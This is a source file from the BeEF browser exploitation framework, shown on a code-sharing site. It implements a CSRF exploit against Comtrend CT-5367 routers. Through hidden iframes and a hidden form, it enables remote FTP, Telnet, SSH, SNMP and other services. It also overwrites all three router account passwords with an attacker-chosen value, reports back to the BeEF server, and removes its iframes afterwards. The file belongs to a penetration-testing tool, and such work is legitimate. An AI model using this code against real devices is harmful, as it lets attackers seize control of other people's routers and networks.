Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/comtrend_ct5367_csrf/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var gateway = '<%= @base %>';
9
var passwd = '<%= @password %>';
10
var timeout = 15;
11
12
var ct5367_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();
13
ct5367_iframe1_<%= @command_id %>.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');
14
15
var ct5367_iframe2_<%= @command_id %> = beef.dom.createInvisibleIframe();
16
17
var form = document.createElement('form');
18
form.setAttribute('action', gateway + "password.cgi");
19
form.setAttribute('method', 'post');
20
21
var input = null;
22
23
input = document.createElement('input');
24
input.setAttribute('type', 'hidden');
25
input.setAttribute('name', 'sptPassword');
26
input.setAttribute('value', passwd);
27
form.appendChild(input);
28
29
input = document.createElement('input');
30
input.setAttribute('type', 'hidden');
31
input.setAttribute('name', 'usrPassword');
32
input.setAttribute('value', passwd);
33
form.appendChild(input);
34
35
input = document.createElement('input');
36
input.setAttribute('type', 'hidden');
37
input.setAttribute('name', 'sysPassword');
38
input.setAttribute('value', passwd);
39
form.appendChild(input);
40
41
ct5367_iframe2_<%= @command_id %>.contentWindow.document.body.appendChild(form);
42
form.submit();
43
44
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
45
46
cleanup = function() {
47
document.body.removeChild(ct5367_iframe1_<%= @command_id %>);
48
document.body.removeChild(ct5367_iframe2_<%= @command_id %>);
49
}
50
setTimeout("cleanup()", timeout*1000);
51
52
});
53
54
55